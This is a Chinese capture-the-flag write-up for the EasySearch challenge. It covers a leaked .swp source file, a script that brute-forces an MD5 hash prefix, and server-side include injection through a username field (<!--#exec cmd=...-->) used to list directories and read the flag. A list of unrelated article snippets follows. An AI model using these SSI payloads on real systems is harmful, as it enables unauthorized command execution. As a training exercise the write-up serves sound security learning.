练[BJDCTF2020]EasySearch

news2024/12/29 8:50:51

[BJDCTF2020]EasySearch

文章目录

      • [BJDCTF2020]EasySearch
      • 掌握知识
      • 解题思路
      • 关键paylaod

在这里插入图片描述

掌握知识

​ 目录扫描,index.php.swp文件泄露,代码审计,MD5区块爆破,请求响应包的隐藏信息,.shtml文件RCE漏洞利用

解题思路

  1. 打开题目链接,发现是一个登录界面,尝试使用万能密码登录失败,源码也没找到hint。使用dirsearch也没扫描到什么目录,但看着标题Search应该和dirsearch是有些关联把,尝试一些不常见的备份文件,查看有无文件泄露php- php~,发现存在index.php.swp文件泄露,而且正好就是登录界面的源代码

image-20231002111625422

?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>
  1. 通过代码审计发现,用户名只要不为空即可,密码的话需要对输入密码进行MD5加密,只要前六位为6d0bc1即可验证成功,正好还留有爆破脚本。登录成功会有public的目录,会生成一个.shtml文件,文件的内容有一部分就是输入的用户名
if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            <h1>Hello,'.$_POST['username'].'</h1>'
            }
       }
  1. 使用MD5碰撞爆破脚本得到密码为2020666 2305004 9162671均可
from hashlib import md5

for i in range(10000000):
    if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':
        print(i)
  1. 随意登录一个账号,登录成功后并没有发现public的文件地址,访问public目录也无权访问,但是查看响应包数据后发现了文件的url地址.访问文件后,发现和当初代码审计回显的内容差不多,aaaa位置是可控的

image-20231002113000679

image-20231002113057445

  1. 第一次遇到.shtml文件,上网搜索一番发现.shtml文件可以执行任意命令执行漏洞。简单来说就是能根据命令动态回显网页的某个部分,比如时间。可以注入,用来远程命令执行。漏洞利用代码如下

    <!--#exec cmd="命令"-->
    
  2. 所以后续的思路很明显了,之前的代码审计了解到.shtml文件内的内容是可控的,所以只需要通过username输入框输入命令执行代码再次访问.shtml即可查看到回显的命令<!--#exec cmd="ls"-->

image-20231002113707995

image-20231002113710594

image-20231002113715278

  1. 成功进行了命令执行,测试发现,要想执行命令需要重新登录,将命令写入到新产生的的.shtml文件中,访问即可看到回显结果。如同上面的步骤,发现flag文件存放在网站根目录下,cat查看文件内容,直接拿下

image-20231002114437748

image-20231002114440777

image-20231002114429444

关键paylaod

from hashlib import md5

for i in range(10000000):
    if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':
        print(i)
        
<!--#exec cmd="ls"-->
<!--#exec cmd="ls /"-->
<!--#exec cmd="ls ../"-->
<!--#exec cmd="cat ../flag....."-->

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1067367.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

cpp primer plus笔记01-注意事项

cpp尽量以int main()写函数头而不是以main()或者int main(void)或者void main()写。 cpp尽量上图用第4行的注释而不是用第5行注释。 尽量不要引用命名空间比如:using namespace std; 函数体内引用的命名空间会随着函数生命周期结束而失效&#xff0c;放置在全局引用的命名空…

【LeetCode: 901. 股票价格跨度 | 单调栈】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

【代码随想录】LC 27. 移除元素

文章目录 前言一、题目1、原题链接2、题目描述 二、解题报告1、思路分析2、时间复杂度3、代码详解 三、知识风暴 前言 本专栏文章为《代码随想录》书籍的刷题题解以及读书笔记&#xff0c;如有侵权&#xff0c;立即删除。 一、题目 1、原题链接 27. 移除元素 2、题目描述 二、…

文创行业如何利用软文出圈?媒介盒子告诉你

经济快速发展与社会进步&#xff0c;带来的是人们消费观念的转型&#xff0c;人们的精神需求与文化自信不断增强&#xff0c;随着文化产业和旅游业的不断升级&#xff0c;文创产品凭借独特的概念、创新的形象&#xff0c;吸引许多消费者。那么新时代的文创行业应该如何强势出圈…

华为数通方向HCIP-DataCom H12-831题库(单选题:201-220)

第201题 DHCP Snooping是一种DHCP安全特性,这项技术可以防御以下哪些攻击? A、DHCP Server仿冒者攻击 B、针对DHCP客户端的畸形报文泛洪攻击 C、仿冒DHCP报文攻击 D、DHCP Server的拒绝服务攻击 答案:ABD 解析: 第202题 两台PE之间通过MP-BGP传播VPNv4路由,以下哪些场景…

csa从初阶到大牛(网络配置)

添加新的网络连接ens170&#xff0c;并设置静态IP地址 sudo vi /etc/sysconfig/network-scripts/ifcfg-ens170TYPEEthernet BOOTPROTOstatic DEFROUTEyes NAMEens170 DEVICEens170 ONBOOTyes IPADDR192.168.1.100 NETMASK255.255.255.02.向ens170网络连接添加2个ip地址 sudo …

2023年中国铁路通信系统发展历程、市场规模及行业发展趋势分析[图]

铁路通信技术是铁路行业发展的重要推动力&#xff0c;它不仅可以提高客运、货运、维修、安全等业务的运行效率&#xff0c;还能够有效提高铁路行业的客户服务水平&#xff0c;实现质量和效率的双重提升。我国通信技术在铁路领域的应用经历了三个阶段&#xff0c;分别是模拟通信…

VulnHub JANGOW

提示&#xff08;主机ip分配问题&#xff09; 因为直接在VulnHub上下载的盒子&#xff0c;在VMware上打开&#xff0c;默认是不分配主机的 所以我们可以在VirtualBox上打开 一、信息收集 发现开放了21和80端口&#xff0c;查看一下80端口 80端口&#xff1a; 检查页面后发现…

小白必看!上位机控制单片机原理

嗨&#xff0c;大家好&#xff01;今天&#xff0c;我们要探讨一个有趣的话题——"以上位机控制单片机"。不要担心&#xff0c;我们会用最简单的方式来解释这个概念。 首先&#xff0c;你可以把以上位机想象成一台超级聪明的电脑&#xff0c;就像你用来上网、玩游戏、…

参与现场问题解决总结(Kafka、Hbase)

一. 背景 Kafka和Hbase在现场应用广泛&#xff0c;现场问题也较多&#xff0c;本季度通过对现场问题就行跟踪和总结&#xff0c;同时结合一些调研&#xff0c;尝试提高难点问题的解决效率&#xff0c;从而提高客户和现场满意度。非难点问题&#xff08;历史遇到过问题&#xf…

零代码编程:用ChatGPT绕过网站的Cloudflare防护爬取网页数据

打开这个网页&#xff0c;想爬取网页上的内容&#xff1a; https://toppsta.com/books/series/29278/national-geographic-kids-readers-level-1 这个网页看起来很简单&#xff0c;但是一般手段根本无法获取源代码&#xff0c;因为网站使用了Cloudflare服务器进行防护。 可以使…

leetCode 674. 最长连续递增序列 动态规划 / 贪心策略

674. 最长连续递增序列 - 力扣&#xff08;LeetCode&#xff09; 给定一个未经排序的整数数组&#xff0c;找到最长且 连续递增的子序列&#xff0c;并返回该序列的长度。 连续递增的子序列 可以由两个下标 l 和 r&#xff08;l < r&#xff09;确定&#xff0c;如果对于每…

JHipster数据权限使用

一、在JDL的application配置中添加feature&#xff1a;dataScope application {config {applicationType monolithtitle "瀚海工作平台"footer ""baseName LimsMonolithpackageName com.eyunappVersion "0.0.1"serverPort 8891authenticationTy…

010:连续跌3天,同时这三天收盘价都在20日均线下,第四天上涨的概率--以京泉华为例

对于《连续跌三天&#xff0c;压第四天上涨的盈利计算》&#xff0c;我们可以继续优化这个策略&#xff0c;增加条件&#xff1a;同时三天都收盘在20日均线下。 因为我们上一篇《获取20日均线数据到excel表中》获得了20日均线数据&#xff0c;我们可以利用均线数据来编写新的脚…

神经辐射场(NeRF)中-相机参数与坐标系变换

NeRF: Representing Scenes as Neural Radiance Fields for View Synthesis 是一篇获得ECCV2020 Best Paper Honorable Mention的论文。给定一个场景的多视角的图像&#xff0c;神经辐射场&#xff08;NeRF&#xff09;通过图像重建误差优化一个神经场景表征。优化后可以实现逼…

布隆过滤器及其用法

1 定义 布隆过滤器(Bloom Filter, BF)是由Howrad Bloom在1970年提出的一种具有高效时间和空间效率的二进制向量数据结构&#xff0c;用来检测一个元素是不是属于这个集合。注意&#xff0c;布隆过滤器只判断是否出现在集合中&#xff0c;无法给出元素在集合中的具体位置。 1.1…

C语言内存函数

目录 memcpy(Copy block of memory)使用和模拟实现memcpy的模拟实现 memmove(Move block of memory)使用和模拟实现memmove的模拟实现: memset(Fill block of memory)函数的使用扩展 memcmp(Compare two blocks of memory)函数的使用 感谢各位大佬对我的支持,如果我的文章对你有…

JavaScript小游戏实现高分榜

之前我们实现了游戏的主体功能&#xff0c;以及恢复之类的功能&#xff01;本次我们来实现高分榜的功能 功能的需求如下&#xff1a; ● 这个逻辑非常的简单&#xff0c;就是当我们猜对了数字后&#xff0c;跟我们的highscore做比较&#xff0c;如果比highscore高的话&#x…

跨境电商系统对接-进口

一、跨境进口方式 1、一般贸易 指中国境内有进出口经营权的企业进行进出口贸易&#xff0c;货物到港后需要先清关&#xff08;办理海关申报、查验、征税、放行等手续&#xff09;&#xff0c;然后货主才能提货&#xff0c;一般贸易适合大批量进口商品&#xff0c;公司的鲜奶、…

面试题:单核 CPU 支持 Java 多线程吗?为什么?被问懵了!

文章目录 前言时间片超线程上下文切换切换查看线程调度引起线程上下文切换的因素总结 前言 由于现在大多计算机都是多核CPU&#xff0c;多线程往往会比单线程更快&#xff0c;更能够提高并发&#xff0c;但提高并发并不意味着启动更多的线程来执行。更多的线程意味着线程创建销…